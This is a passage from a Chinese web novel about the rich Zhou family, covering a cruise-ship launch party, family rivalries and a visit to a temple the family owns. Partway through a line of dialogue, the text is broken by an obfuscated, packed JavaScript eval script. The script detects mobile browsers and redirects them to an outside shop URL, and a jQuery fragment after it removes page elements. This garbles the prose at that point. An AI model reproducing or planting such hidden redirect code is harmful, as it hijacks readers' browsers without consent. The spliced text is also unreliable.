雨秀以姐姐的身份带着明显的隐含意向,怀疑年轻男人和何穗的暧昧关系,话里带刺,
“先生、周振春总栽,以后你要纳妾,让姐姐替你挑选,可以吧?不要私订终身。”
周振春终于听明白了,是雨秀与何穗苏妹母女俩闹别扭了,不知道她们之间是因为什么事的原因导致不快。
姐姐这些明显话中有话的言语,单纯善良的妹妹雪秀还一直认为是姐姐和自己一样,一直对男人把何穗的女儿苏姝养在海外耿耿于怀。
“姐姐——”
雪秀冲姐姐喊了一声,故意噘起嘴佯装恼怒的样子,
“你还要替他再找吗?我可不允许了。”
“你姐认识的先生,他是最少的了,可财产又是最多的。再找五门八门的,也是应该的嘛。”
“人家先生都是白白嫩嫩的,没有像他这么粗脸皮厚的。”
“傻丫头,你越来越放肆了,敢当你姐的面奚落‘先生‘。”
“他是春子,我才不认他‘先生’呢。”
女人朝旁边一直默不作声的男人,笑着望过去,说。
“你这是恃宠而骄啊。”
姐姐深吸一口气,也朝周振春望了一眼,感叹地说。
姐姐相信,妹妹与弟弟一样的男人经历过分分合合的折腾,现在俩夫妻之间的感情已是坚如磐石牢不可摧。
雪秀是怎么想的呢?在暖融融的灯光照耀下,她那光彩熠熠的脸颊上所显示的幸福的笑容,似乎是在告诉男人:你为我所做的一切,我坦然接受并高兴,以后作为妻子会持续一直温顺陪伴体贴你。
苏姝带着九岁的大儿子思雨进来雪秀的舱房,也许是逛累了,母子俩坐在另一张沙发里边用纸巾往脸上揩汗,边气喘吁吁。
“长着一张圆圆的脸蛋,蛮可爱的。”
雪秀一边说,一边走到思雨跟前看着他说,
“咱们老周家的孩子,走到哪里,一眼就可以看得出来。要是能和二姨说上几句话就好了。修子五岁时周家大团圆这么大时,可以腆腆和我说几句话,还会主动往我怀里靠。现在修子大了,却变得少言寡语起来,几次来香港,也不愿住到家里来。”
“作父亲的分身乏术,孩子的成长肯定会受影响。”
苏姝像是有意提醒雪秀说。她脸上虽然挂着笑,神情却有点失落。见雪秀不吱声,耽心是自己呛到了她,便笑着对雪秀说,
“二姐,要是我们大家都有您这样体谅别人的胸怀,喻蓓姐也不会那么辛苦了。谁看她这样子都心疼。”
“是啊。我现在时常打电话给她。她来过我家几次,可没住两天又急匆匆地赶回去公司了。苏姝,你想想,你蓓蓓姐姐这么辛苦,和春子挣下这么多家业,还不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199102|197153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为了我们和孩子们。”
“更让她心碎的,修子不肯接班。”
苏姝体谅地点点头,说。
“这就给我增加了很大的压力。我也不知道山子他们兄弟长大后,能不能接班。要像冬子修子这样优秀,恐怕是不行的。我看春子有时看他们的眼神也是苦恼的样子。我知道春子现在主要是考虑接班人的事。我又帮不了他。”
随即,雪秀轻轻拽了一下苏姝的衣袂,示意她说:
“你要跟诗筠说,你们俩年轻,让春子悠着点儿,别追得太紧。”
“姐,我们也是十天八天一起呀。”
苏姝大大方方地说,
“就是有时一起,也未必。我还怀疑他是不是腻烦了我?我已是三个孩子的母亲了。我也问过诗筠,她说也是。可我相信先生不是外面那些四处藏娇到处沾花惹草的那种人。”
男人富可敌国位极人臣,却从不盛气凌人颐指气使,是不少女人梦寐以求希望依仗他逍遥度日的心中太阳。
俩房女人了解自己的男人,也明了外面那些想接近男人的女人。
“他不会。这一方面你放心。”
雪秀肯定地说。见苏姝这么坦诚,她也就放心笑了起来。
这个现在被周家上下视为大家姐的女人,纵使历尽世态炎凉,心里始终保持那份善良和温暖,眼里都是对方,她的每一缕爱意都最终能得到对方甜蜜的回应。
这个幸福的女人好像天生本该如此。
一个年轻的女记者,牵着思祺的手,走到男人面前。能够参与周家庆典仪式的这些年轻人,都是与周家第三代核心人物:思冬、思维、思欣、思家、江德辰他们熟悉的人,有些还是与周家有来往的朋友。
这些新新人类的年轻人,尤其是年轻貌美的女孩子都会借此机会,想法设法接近男人。
周振春看了姑娘一眼,觉得在那儿见过。
六岁的小女儿优美柔和,两片美丽而又红润的嘴唇微微闭上时,上面好像闪烁着红光,显得格外润泽,像极了年轻女人背着画板那时候的样子。
女儿叫“爸爸”时,年轻的女记者把思祺的小手递给男人手里。
女儿亲昵地坐在父亲的双膝上。
这女记者是与周家很熟悉的朋友。男人接过女儿的手,朝女记者问:
“你跟谁熟?”
“我和冬子哥维子欣子都很熟!我妈是您高中同学:肖芳妤。”
“噢?”男人一下清晰过来,
“你妈一直没打电话给我?”
“打了两次,让您秘书转接,可能没转给您。”
“真是很抱歉!麻烦你向你妈解释。”
男人满是歉意说,再问姑娘,
“你参加工作几年了?”
“刚大学毕业,还在自习。”
姑娘落落大方地告诉男人。
“你小姨在哪?”
男人想起周家大团圆时,在老宅度假村那个主动接近自己的姑娘。
“她还在老宅度假村。”
“都快二十年了。干到退休吧?”
“是。她就想干到退休。”
“我与你母亲有二十多年没见面了。那时还是在老宅听你小姨说。你母亲现在在哪?”
“她一直在老家。之前年轻的时候在深圳打了几年工,后来回去一直在老家。云子叔叔安排在我们乌浟宾馆上班。”
意外获知女孩是老同学的女儿,让周振春油然而生一股浓郁的思乡之情,他亲切地对老同学的女儿说,
“你等等,我让雪秀阿姨见见你。你知道她吗?”
“当然知道。妈妈和你们三个是好同学。”
女孩得到周振春热情的款待,满是崇敬和感动。
母亲也曾多次教导女儿,能够攀附周家,就会在转瞬之间改变自己的命运。
作为平凡普通的母亲和阔太富贵的雪秀就是最好的例证。
在这代新新人类的少女外表下隐藏着一颗颗不安于传统世俗叛逆的心。她们敢于创新,挑战自我和别人,嫁入豪门当然成了她们人生当中最重要的一个选择。
她们相信红尘万丈,也抵不过现实中的一寸繁华的风景;月下花影,也不如香车宝马上的爱恨情仇。
“宁愿坐在宝马车里哭,也不愿坐在单车后面笑”,是新新人类婚恋观的真实写照。
姑娘年轻心热,且本性聪敏,但门第卑微,作为母亲雨秀态度鲜明地向儿子发出告诫:
“普通朋友交往,适可而止,你得注意好分寸,要不闹得满城风雨,就很难收场了。你冬子的人生才刚刚开始。”
在这豪华的邮轮上,人们摩肩接踵,每个人都只是这个时段匆匆的过客,冲着大家互相认同富贵的身份地位,彼此交换一个浅浅的微笑。
当然也会遇见好客或者奉承者,想要长久的利益关系,用端来丰盛鲜美的食物,和亲切的问候温暖整个人的灵魂,取得结识新伙伴为自己的利益锦上添花增加信任,再目送你的背影转身而去时,从背后投来让人可以感受像是母亲般慈祥的目光。
这种场面大概是富贵阶层众人欢欣鼓舞很寻常的现象。
位卑地低的普通人跻身而入的话,一旦身份被识破,就会遭到不屑的蔑视,甚至有意的鄙薄。
人类社会,是一座巨大的金字塔,塔底层的人他们也曾雄心壮志,有过不甘于现状,不屈服于多舛的命运。
他们出身底层,有的人付出是自己毕生的努力,拼命向上想攀爬上一个阶层。
这样的拼搏,他们中无数人做过也正在努力做着。
可是到头来,发现自己犹如拉磨的驴,不管如何努力向前,只是在原地打转。
欣子暗中瞥见江德辰和俩个阔少喝酒的劲头,不由得受了鼓舞,自己也想再活跃一点,也会引人注意,她向侍者要过一杯酒,小小抿一口。
欣子的鞋子被水淋湿了,脚尖湿漉漉地有点不舒服,喝了酒后,那酒劲儿直往上涌,却怎么也没有那种陶然舒畅的感觉,但脸似桃红,睛若秋波,虽怒若笑,即嗔痴乐,风骚全在眉梢,妩媚都在脸上。
她这一情形,被一直留意家中女孩子的雨秀看到了,又想起刚才肖芳妤的女儿亲近周家男人的事情,
她让冬子把周家年轻人召集到诗筠的舱房。
在诗筠的舱房客厅,雨秀召集周家第三代的核心人物:冬子维子欣子惠子思燕思昕江德辰过来后,声色俱厉地对他们说:
“有些话平时只是跟你们说说,现在这种宾朋满座的场合,再跟你们强调,我们老周家到了你们这一代,已不是普通人家的子弟,女孩子要学会矜持自己,江德辰欣子喝了几杯?脸红得像猴子屁股,是向男人献媚讨欢心?还是在今天老周家邮轮庆典时把自己贱卖了?小心一些奶油小生公子哥儿一时的甜言蜜语,一时的有天无日,恬不知耻!男孩子交朋择友要注意身份地位,冬子你请来的一些人,是用来滥竽充数的吗?”
见孩子们个??低头认错,不敢吱声,雨秀也不想太发火,她放缓语气再说,
“今天让你们全来,就是想让你们认识来宾当中一些对你们有用品行端正的人。你们自己首先要注意自己的言行举止。你们的一言一行是媒体八卦消息的热门话题,会直接影响我们老周家的形象,关糸到万柯公司的声誉。”
……
到处传来人们的欢笑声,一个风度翩翩的阔少拦住从诗筠客舵房岀来的江德辰和惠子,他端着一盘水果走到江德辰面前:
“诚心邀请江小姐,今晚去米其林餐厅等你光临。”
“听说你刚谈两周的女朋友又分手了,有人跟你算账:今年你这是第十一个了。难道我要成为你的第十二个吗?”
江德辰不客气地奚落他。今天她把眉毛描得细长,头发也剪短了好多,脸上涂着厚厚的粉,嘴唇抹得血红。
“听说见了江小姐,可以延年益寿,坐在一起更能让人长命百岁。我也奢望能沾沾你江小姐的福气。”
“你风流成性,用甜言蜜语专哄女孩子的欢心,看起来可爱,其实暗藏鬼胎,只能骗那些无知幻想浪漫情调的女孩,对于我这情调低迷的老姑娘,还是去一边叹气吧。”
江德辰嘲笑完,牵着惠子的手嘻嘻哈哈地走开了。
“我觉得那些女孩子怪可怜的,可想她们又自愿接受,要是让人知道她们的事情,会不会有多难堪。”
江德辰对惠子说。
一抹朝阳射进来,照着怡子好看的侧脸,她专注地弹奏着,琴声在美丽的庭园主场大厅的里回响。
十一岁的女儿怡子更像是母亲小时候的缩影:天真烂漫无拘无束,总是幸福快乐的笑着。不像大女儿苗子会时不时露出一点忧伤的情绪。也不像苏姝的俩个女儿,由于鲜有与父亲一起,有时会现出怯弱的性格。
很明显她非常喜欢这种热闹的氛围,人们在欢腾雀跃之中乐意和她一起玩。
女儿喜爱聚会和殷勤好客的性情与母亲相差无几。这一奇妙的遗传最初征兆显露于她三岁时幼儿园的第一个假期,她常常事先没打招呼下邀请很多小朋友来家里做客。
在怡子成长的过程中,直至今日,父亲几乎一直守在她身边,而且与母亲情深笃爱夫妻关系融洽。女儿在这样的环境中长大,幸福的感觉就会变成习以为常的事情。
幸福的家庭高贵的精神高尚的品行,塑成女儿幸福的人生。
休息区座位疏密分布,有的布置在朝向落地窗景前,可直面仰身的天幕,阳光透过玻璃幕墙投射在地板土色的地毯上,形成斑驳若树荫的疏影。
一些年轻人正为一则八卦新闻津津乐道:
说的是体育名星的公子一岀生就赢得万众瞩目,手握自家资源,到处惹蜂招蝶,借助家人的名气,三天两头忙着换女友,年仅二十一岁,却创下交往二十二个的战绩。令人意外的是,尽管他无比风流,却没有一个前女友说他坏话。
本来以为这些女人忌惮他身份显赫,他却用一则婚讯打了所有人的脸,众人这才意识到,他的全部天赋都用在谈恋爱上。
他和大三岁的豪门千金结婚,妮子出身相当不简单,父亲是华尔街金融巨鳄,就算名星所有的产业加起来都比不过妮子家的一根小指头。
为了得到这位顶级白富美的青睐,他将自己的高情商发挥得淋漓尽致,岳父喜欢游玩,他就紧随身后,妮子喜欢美食,他就去学做饭,堪称是二十四孝好老公好女婿。
在他全方位的攻势下,岳父被哄得喜笑颜开。直接大手一挥,包办俩人婚礼,还送一座价值二十多亿的海景别墅。
这件事向人们说明一个道理:做什么都无所谓一件事做到极致就是成功。
女儿携孩子们去了雪秀的舱房,何穗似乎成了形单影只孓然一身的人。自己无处可去,也没人同她说话。女人很不自在,看到已经在吃午餐的来宾,陆续去了游泳池旁边的餐厅吃午餐,自己随着人流去了餐厅。
游泳池附属的餐厅靠窗处,绿油油的芭蕉叶立在那里,对面还植有一簇风尾松。
“在留学期间,先生曾带我去过一次皇家邮轮,好像也是凤尾松同那里没什么两样。”
苏姝说着,环视面对大海的庭园。
“我也常去,那时候常跟着冬子一起去。也许还遇见了幼年时代我可爱的雪秀二姨呢。”
惠子接着故意朝雪秀说。
“看你说的,有这回事吗?你没大没小的,竟拿你二姨开玩笑。”
雪秀知道惠子在打趣自己,也被她们有意思的逗乐高兴地笑了起来。
“幼年时代相会,不是挺有意思的吗?现在我们也叫怡子‘小雪秀’,先生也承认,就是小时候活脱脱的你。”
苏姝看着雪秀也笑着说。
雪秀看着她们是让自己高兴,也不知说什么好,只顾自己笑着。
却被惠子抢先说道:
“小时候相会?说不定你就和二姨一样,早结婚了呐。”
维多利亚港湾半山雪秀周家府邸,凭栏远眺停泊在港湾“雪秀号”邮轮盛况空前的启航仪式,周瑞年感慨地对大儿子周振林说:
“林子,你看你弟弟的气派。”
“春子这般辉煌,是我没料到的,简直是在作梦,有时候傻傻地问雨秀,你到底是不是万柯公司的副董事长。”
“像这样的盛况,也只能在香港举办。”
“爸,云子说细秀想入公司。”
“他们不是在给春子添麻烦吧。细秀能干什么?就是细秀入不入公司,云子小家庭每年的红利不会比你的小家庭少吧?春子说过,云子细秀陪我们老俩口住西山,家子他们四兄妹不光都纳入公司股东分红,他们夫妻俩还要额外多赠送一份,——云子细秀是眼红雨秀的工资吧?”
周瑞年突然停顿下来,想起来,看着大儿子,问。
“我看就是。”
周振林肯定下来,笑着回答父亲。
“这有多少呢?一年下来,还不如这山腰上一平方的房子。”
“爸,这对于云子细秀他们来说,可是个很大的数字。”
“你不要跟春子说。春子这么辛苦。上次你们兄弟俩跟我一起,人家还以为春子是你。春子看起来,比你老多了,头发白得比我还多。”
“云子细秀说,我要是跟春子说了,相信春子会把雨秀的工资发给细秀。”
“这岂有此理的事,亏他们夫妻还想得出来。回去我去说说他们。”
“算了吧,爸!就当我没说过。要不云子细秀会生我气的。”
“唉,你们这些兄弟姐妹,没有一个能让春子省心的,尽给他添乱。春子这么忙,要养这么多人。你们兄弟姐妹谁能帮得上他?一个都没有。倒是雨秀还行,可以给他打理一些事情。你让冬子好好干,不要有什么想法。”
“看看你和云子兄弟俩这二幢楼,空了十几年吧?当年上亿买的,白花花的银子就扔在这儿了。秋华冬花也要,我让她们姐妹闭嘴。幸好没给她们姐妹买,要不,冬花离婚了,怎么打官司?”
“爸,这十几年来,我一直在想,我们周柯两家的人恨我,可是要是春子不参军,没有与蓓蓓结婚,会取得今天的成绩吗?”
“我们父子俩想到一起了。你老爸也不只一次地想过,但是,林子,就是春子不参军,不去大叶,留在长河一样也会干出一番事业来。现在长河那些私企财阀,无论是学识还是能力,有几个可以和春子比的?”
“这也倒是。”
夏日时节,草木生长茂盛,布满山间每一寸土地。
周瑞年为了避嫌,选在庆典仪式结束后的第二天上邮轮,周家“元”字辈、“瑞”辈也遵循着为了突显周振春的地位,也跟着周瑞年一起选择随庆典仪式结束后的第二天上邮轮。周家“振”字辈大儿子的周振林,隶属于军人身份,不宜公开露面,也干脆就随父亲周瑞年一起了。
“雪秀号”启航庆典仪式,是周家四十八年来四代同堂一次大团圆,它给这个钟鸣鼎食之家带来更多的机遇和价值的同时,也赋予了这个家族在新世纪之初举世瞩目的荣誉。
这个时候,周家“元”字辈、“瑞”辈,齐聚在雪秀府邸,从山上观看“雪秀号”,邮轮启航庆典仪式。
周瑞佑俩个儿子周振海、周振涛,周瑞恩的三个儿子周振清、周振波、周振河。
他们说是涉水过港,儿子都含“水”意愿,水不但养育了他们,也帮助他们劫后余生改变了命运。
周元昌大爷爷要带弟弟周元仕一起住,和周瑞年一起从西山过来的周元仕爷爷跟着大哥周元昌住在相邻的太平山腰,周振春赠予元昌大爷爷的楼房地方开阔,原先的主人在庭院留有种菜的土地,俩老人得闲就在菜地里消遣时光。
“我们的正处于新旧体制交替的之际。这里面复杂远比表面上看到的惊心动魄。”
其实改革开放一开始,以经济建设为中心,社会体制已经进入转制,我们很多人尚未意识到变化……”
周瑞年待大家都来到后,沉静地说,新旧体制转型之际,就有好些人还停留在过去的时代里。对社会岀现的新问题新矛盾,不理解,没有历史观可言,怀疑眼前现实生活中的一切,固步自封停滞不前。
我们那个时代,大人在挨饿,小孩在挨饿,女人在屋里哭,在路上借米,男人为了让全家有口饭吃,拼尽全力,像牛一样没黑没夜耕作,可是还是改变不了挨饿的命运。
现在不管怎么样,大家都有饭吃,人们可以按照自己的方式去生活,去发挥自己的能力,己是社会一大进步。
我们不需要那些一边喊着‘高大上’的口号,一边让人饥寒交迫的时代。我们不需要你死我活互相伤害自相残杀人人自危的阶级斗争的时代。无数次事实证明,一??靠打败对手英雄辈出的时代也就是生灵涂炭的时代。国内战争,党派之争,无论胜败一方,都不值得去歌颂。兄弟打架,老二把老三打伤打残了,难道要去赞扬老二吗?作父母的更应该值得去检讨如何不让兄弟互害。一个国家一个民族怎么永远去避免国内战争,避免兄弟互害?祖国是父母,党派犹如兄弟。我们爱我们的国家,爱它的山川河流、江湖大地,朝庭政党更迭频繁,山川河流江湖大地依旧,重整山河,毋需通过暴力以战争的手段,通过大屠杀的血腥重新洗牌,与罪恶无异。我们更应该像是今天一样,通过建立和平共处的秩序,接受世界上更美好更先进的管理体系:改革开放,发展现代文明,官民合一,建设我们的祖国,真正让生活这片土地上的人们,安居乐业。
我们面临的改革时代,既是机遇也是挑战。处于新时代社会变革发展阶段,我们既要看到产生各种各样的问题,也要对新生事物带来积极的生机充满信心。
我们不会再倒回过去那个饥寒交迫的年代,我们必须向前迎接时代赋予我们未来发展的使命。
………
19. 第十九章
两只鸢在寺院屋顶上空比翼翱翔,寺院的钟声,在夏秋两季,总是早上六点准时响起。
三百年前的峻峰山,山顶上飘过了多少的白云?山下的冬河淌过了多少的水流?冬塘古镇更迭了一代又一代的人,木铺街旧貌犹在,生活在木房子里的人们乡音未改。
青石板路没有红绿灯,但现代文明的招牌,己经在街面的客栈酒店商铺的墙壁上屋檐下色彩斑斓地耀眼夺目。
峻峰山寺院位于冬塘古镇东南侧约三公里,从地理位置而言,二者相距不远,寺院的钟声与古镇的鸡鸣之声相闻。
一年前修建寺院时,周振春说,这里既可以修行也可以布道,不管是来冬塘古镇旅游度假的游客,还是当地的善男信女,毗邻热闹非凡的冬塘古镇,出入便捷。
以晓秀的名义在冬塘古镇盖座“晓秀酒店”收入,用以给寺院提供日常生活物质保障上的所需。
晓秀酒店与牛家塆度假村周家老宅同属周家在冬塘古镇豪华型酒店,但没有任何正面互动,宛如两条平行线,毫无交集。
相较于有限接待服务的牛家塆度假村周家老宅,晓秀酒店是全方面的开放式服务,包括对外国游客,只是餐饮行业仅提供素食。
寺院和土地都是万柯公司出资购置修建,它的财产归属于万柯公司所有。从一定意义来说,寺院是周家的私有财产。
寺院虽深藏于山林之间,却气势恢宏。
入得山门,五座倚山岭式建筑:正中间是天王殿的正殿,后面是献亭和配殿,再上一层依次是天王殿、大雄宝殿、法堂等主要建筑,层层迭迭。两旁是厢房、僧房、斋堂、茶室等。这些建筑依据地形和朝向进行合理布局,既符合佛教仪轨,又便于信徒和游客的参观。考虑到寺庙的实际使用需求,还设置一些辅助设施,如休憩区、书画堂、茶室等。
这座位于峻峰山麓掩映在绿树丛中的寺院,飞檐高翘、翘角出檐、斗拱飞檐,层层雕饰,杏黄色的院墙,青灰色的殿脊,琉璃瓦的屋顶金碧辉煌,栩栩如生的摩崖雕像,花树簇拥,让人感觉如坐云端,遨游于仙境。
很快成了江南地区有名的寺院。
天上云卷云舒,地上林树茂密,绿荫笼翠。
寺院毗邻冬塘古镇,安静又不偏僻,从寺院殿外任何一处,都可以看到冬塘古镇河对岸的人间烟火和马路上川流不息的车流。
游客被这里的山峦奇景所吸引,惊叹于峻峰山寺院的高峰、清泉、绿树与各种缤纷盛放的花丛,觉得此处真乃人间仙境。
香客们纷至沓来。这些络绎不绝虔诚祈祷的香客,他们手提各种各样的袋子或篮子,里面装满了各种水果食物丰富的供品。
如今,周家的核心人物、万柯公司掌舵人周振春的到来,有着不可替代的意义。
寺院门口一直在张望车队的僧尼们见车队径直驶来,个个慌里慌张地往里一路跑去寺院报信。
“你告诉了晓秀了?”
坐在车里周振春看到僧尼们忽然跑去的身影,问雪秀。
“没有。应该是姐告诉她了。姐也不知道你今天会来,我想一定是她们一直在等你的大驾光临呀。”
“无非就是一个‘钱’嘛。‘兵马未动、粮草先行’,每次出来就像是出征。”
周振春深有感触地说。像自己这样的财阀,下来每到一地,少不了捐钱和赞助。
“唉,我也不知道说什么好。可晓秀虽然出家了,还是我们妹妹,自己的家人。你能忍心看到她有难不帮吗?”
雪秀也体谅男人,但还是替妹妹说话。
“她有什么难?一个出家人僧衣素食,这么大的一个酒店养她们,更不要说信男善女了的香火钱了。她是吃饱喝足撑不住,偏偏要管闲事。”
晓秀想要修建一座佛教学院,这一年来一直在纠缠周振春。
“你进去看看她,我就不进去了。”
周振春平静地说。他心里明白,这也不过是句无奈的搪塞罢了的话。
“你也太狠心了吧?”
雪秀惦念妹妹,一路上都在提醒男人,先来峻峰山寺院看晓秀。
峻峰山寺院修建成后,尽管她每年都会来几次看望妹妹晓秀,但男人还从未曾来过,这是他是第一次来。
“不要让怡子他们进去、——孩子们都不准下车。”周振春突然正颜厉色地说。
“让孩子们进去点柱香吧?”
雪秀说,“来到佛门前。”
“那好吧。”
“你是担心孩子们看到晓秀吗?”
女人盯着男人的侧脸,问。
“难道让他们像晓秀一样,遇挫即溃吗?”
男人回答女人,再着重强调说一句,
“人生事事哪能如意?”
周振春他们下了车,雪秀先入寺院。身旁迈着轻盈步伐,看上去十八、九小尼姑慌里慌张走过他们身边,见周振春望着她,赶紧用宽袖遮挡脸。
周振春在冬塘乡亲心目中,背负着让雪秀纵身冬湖自尽的恶名,有人讥笑有人同情,如今身居高位,声名显赫,万众瞩目,这次携雪秀和孩子们认祖归宗,就是向世人宣告自己并非是背信弃义的负心汉。
寺内蜡烛荧煌,炉香缭绕,几个修行女义工坐在蒲团上垂头打盹,雪秀唤醒她们,她们惊慌失措赶紧起身,躲去了僧房。
能够直呼主持“晓秀”其名,肯定是非比寻常的关系。再看寺院山门外,黑鸦鸦的一大帮气势轩昂神清气爽个个身强力壮的黑衣男子,知道贵客临寺。
晓秀急忙召集寺内二百多名僧尼,盛装迎接伫立于门前,恭迎周振春的莅临。
一直等候在峻峰山寺院的梁惠妍青衣皂袍,虽是年逾七旬,依然容貌清癯,脸上隐约透露出家人的青气,只是神态中流露出一股毫不掩饰的忧郁之意。
冬湖尼姑庵没能适应新形势的发展,僧尼们生活堪忧,让主持梁惠妍整张脸色显现别样艰难的神情。
这是冬湖尼姑庵主持晚年破败的凄怆?
披红架裟的晓秀,反而显现女性特有的魅力娇媚。此时梵音缭绕,木渔声声骊珠落盘,让人出神入迷。梁惠妍与年轻的晓秀并排静立,分明是上了岁数清瘦的僧尼与一张年轻僧尼阳春三月光阳照映着绯红的脸。
此时这位在冬塘颇受争议的老僧尼在心里面想,要是当年不被自己拒之寺外的这个年轻人,冬湖尼姑庵会落到今天这种地步吗?
时隔十几年了,周振春没能认出梁惠妍来。
直到晓秀介绍说,是冬湖尼姑庵梁惠妍圣姑,他才恍然想起。
相较披红架裟的晓秀,身穿素色僧衣的梁惠妍,一举一动都流露出深深的禅意,让人不禁心生敬仰。
梁惠妍由冬湖尼姑庵的“竹音阿姑”,大家改为尊称她“圣姑”。这是人们对徳高望重的修行者达到最高境界发自内心的敬意。
冬湖尼姑庵,远离尘世,僧尼生活中所需完全靠冬塘镇政府的供养,天长日久,遇上梁惠妍出外布道,庵内就有人有贪酷之弊,此恶气一开,未免内部管理松散,僧尼个个怨气满面,一些恶念嫌恨在僧尼之间散布开来,甚至于到了毁谤佛法的地步。
已经等在峻峰山寺院多日的梁惠妍,今天无论如何得亲自向周振春恳请让冬湖尼姑庵并入峻峰山寺院。
“先生,当初多有怠慢,请先生原谅!”
梁惠妍双手合十,深深向周振春作揖鞠躬表示歉意,诚心诚意地施了个礼,再恭恭敬敬地垂下头来。这是虔诚的膜拜,似乎是要让周振春感觉到:享受如此的顶礼膜拜。
她吞吞吐吐地说,“关于修缮冬湖寺院的事,也许先生您已经从云子弟弟那里听说了。现在我们也不作打算了,确实很不方便。
“本僧恳请先生,能够让冬湖寺院比丘们并入贵院,冬湖庵那儿年代久远,断墙破窗,己完全无法住居,况且少了供养,常令比丘们苦不堪言。”
其实冬湖尼姑庵的僧尼大多早己入住峻峰山寺院,晓秀也是睁一只眼闭一眼,佯装不知,一直在养尊处优的生活中长大的晓秀,物质观念淡薄,况且峻峰山寺院也不缺这二十几个人的给养。
可对冬湖尼姑庵的僧尼来说,终究没有名份,也没有峻峰山寺院里僧尼的津贴。
如果冬湖尼姑庵还停留在过去刀耕火种的年代,仅仅只是了脱红尘修行,隐匿于深山密林之中,没有布道,那有何意义?
三年前当冬湖尼姑庵梁惠妍通过有关人士找到周振春修缮寺院时,被他一口拒绝了。
但他还是以隐匿的方式给尼姑庵捐赠了一大批过冬的物资和生活用品。
万柯公司捐赠物资和钱给社会和有需要的人士,都会以匿名的方式,从不举行任何捐赠仪式、或者是接受采访。
这些在冬湖尼姑庵深山老林腻烦过于简陋的清贫生活的僧尼,她们也想像是峻峰山寺院里的僧尼一样,每月有丰厚的物质供养:各种供果和食物、毛巾香皂、茶叶纸巾、甚至于冲凉液、牙膏牙刷之类的生活用品。
而且有招手即来,在寺院各个工作岗位上热情洋溢辛勤劳作的义工,这些俗家弟子们。
“冬湖庵院,日久年深,山遥路远,确实不便,二十几年来,蒙周家恩眷照顾。今想并入贵院,望先生能准予。”
梁惠姸仍然深深地低下了头,再次恳请说。她一动也不动伫立着,双手合十,端端正正地放在胸前,清癯白皙的脸显得更虔诚。
“听说先生要来,圣姑就一直在本寺院等你,今天是第二十一天了。”
晓秀告诉周振春说。
“圣姑那院里还有多少圣女?”
周振春这才开口问。
“二十三人”
一个七旬的老人,分明是暮年无奈,现在唯唯诺诺屈尊求人,而且还得屈服三十岁不到刚入佛门年轻晓秀主持的管束。
很明显老尼僧渴望晚年有一个温存的归宿。
望着眼前命运多舛己是七旬的老尼僧,设身处地想了一想,周振春立马同意下来:
“你们商量怎么安排吧。”
“不胜感激!”
梁惠妍如释重负,“那我即刻回去就让她们马上搬过来吧。”
冬湖尼姑庵一直是冬塘镇政府以赠送的方式供养,随着物价飞涨,镇政府节流减源,二十多年沿袭下来,这也是一笔不小的开支,长期以往就有人提出异议。
之前一直是有车去冬湖公园时顺便给尼姑庵带去供养,梁惠妍大概久居山林,疏于人情世故,竟然提出在每月农历初三至六规定的时间段送供养,
入冬湖尼姑庵,从冬湖水库大坝至郑家塆,路险山陡,遇上雨雾天,时有险情发生。梁惠妍的要求,从此让人心生厌意,十几年下来,在约定的期限内不能完成赠送的给养,久而久之就变成可送可不送,有时数月半年断了供养,僧尼们封闭在深山老林里苦不堪言,甚至有时不得以野菜充饥。
在远古时代,当人们披着兽皮,住在洞穴里生活的时候,那时候人类活着的意义就是为了生存,虽然简单而纯粹,但是谁都不愿意倒退去过那种原始社会完全听命于天、忍饥挨饿天瑟瑟发抖食不果腹的部落生活。
这些长期处于路途险峻深山密林之中,几乎处于与世隔绝完全禁锢状态的僧尼,渴望走出困境寻求一处安身,自然也就情理之中的事了。
梁惠妍擅自改变赠送给养的方式,据说起因是有时镇政府送去供养梁惠妍出来布道不在庵内,让僧尼贪恋物欲占为己有。
梁惠妍立下供养的时间段,不想成了一场僵局,最终只能遣散众徒,如今周振春准允她们寺院僧尼并入峻峰山寺院,从此冬湖尼姑庵不再存在,终究成为一段过去。
上了岁数的冬湖尼姑庵僧尼并入峻峰山寺院后,也可以免受一些凡人世俗眼光中峻峰山寺院僧尼们的年轻貌美,似乎是一种消耗品的世俗之见。
“请大堂主为大家说几句话。”
周振春雪秀走到列队两边众僧尼伫立的面前时,晓秀用手拦住周振春说。
“我一个凡夫俗子能说什么?”
神情肃穆的周振春,更多的是一脸的阴沉。
“先生从少年时代就是冬塘有名的乖孩子啊。现在是全球最负盛名的国际知名的太平绅士。这寺院地产隶属于万柯公司,说到底先生才是这寺院真正的大堂主。”
“幸好我来时看了一下佛学规训。就按上面写的背几句训令,只能是个人意见。”
周振春回答着,就势站定下来,面向众僧尼开始说:
“……这里没有空空道人,更不需要荒山无稽渺渺隐士。时代在发展社会在进步,在现代文明科技日新月异的进程中,无论任何宗教门派,我们都要与时俱进,适应新形势新要求的需要。要让天下人知道,我们这寺院并非是风尘碌碌一事无成遁逃的无为者,也不是厌倦世事来此山林隐居者的臧身之所,更不是因避祸和家庭变故无法入俗,来寺院这里求在佛门中度过的余生?者,我们更要拒绝那些所谓的情痴抱恨婚恋不成的避难者。
“我们应该遵循佛法所倡导的和平、慈悲和非暴力原则,尊重生命和文化多样性,向人们传播善良、正义的思想和知识,让更多的人通过宽容和慈悲的心态来善待他人,促进社会的和谐共处。
“这里是教导之恩、弘法之行、引人入善之圣地,必须保持清净庄严纯正的风气,利国利民利社会。建议以后凡是入寺者,须具有一定的文化知识,须有佛学院进修深造的学历,这样才能更好地广施布道,弘扬佛法,并培育佛学人才与学术研究。”
……
“先生所言发聋震耳,要是三年前寺院修缮时先生亲临训令,这寺院僧尼得赶走一大半。先生短短一席话,让僧尼们自愧弗如不寒而栗。”
晓秀点点头,稍微展开脸上的笑容说。
“‘凡夫畏果,圣人畏因’,峻峰山寺院是弘扬佛法普渡众生之圣地。来此地削发为尼,不是逃难遁入的场所。这是原则,要让世人知道。”
周振春迈步向前,淡然地回答。
“二姐夫二姐,到敝斋一饮,不知可纳芹意?”
“你姐去你僧房,无碍,我一个男人去不会龌龊你圣女之所吧?”
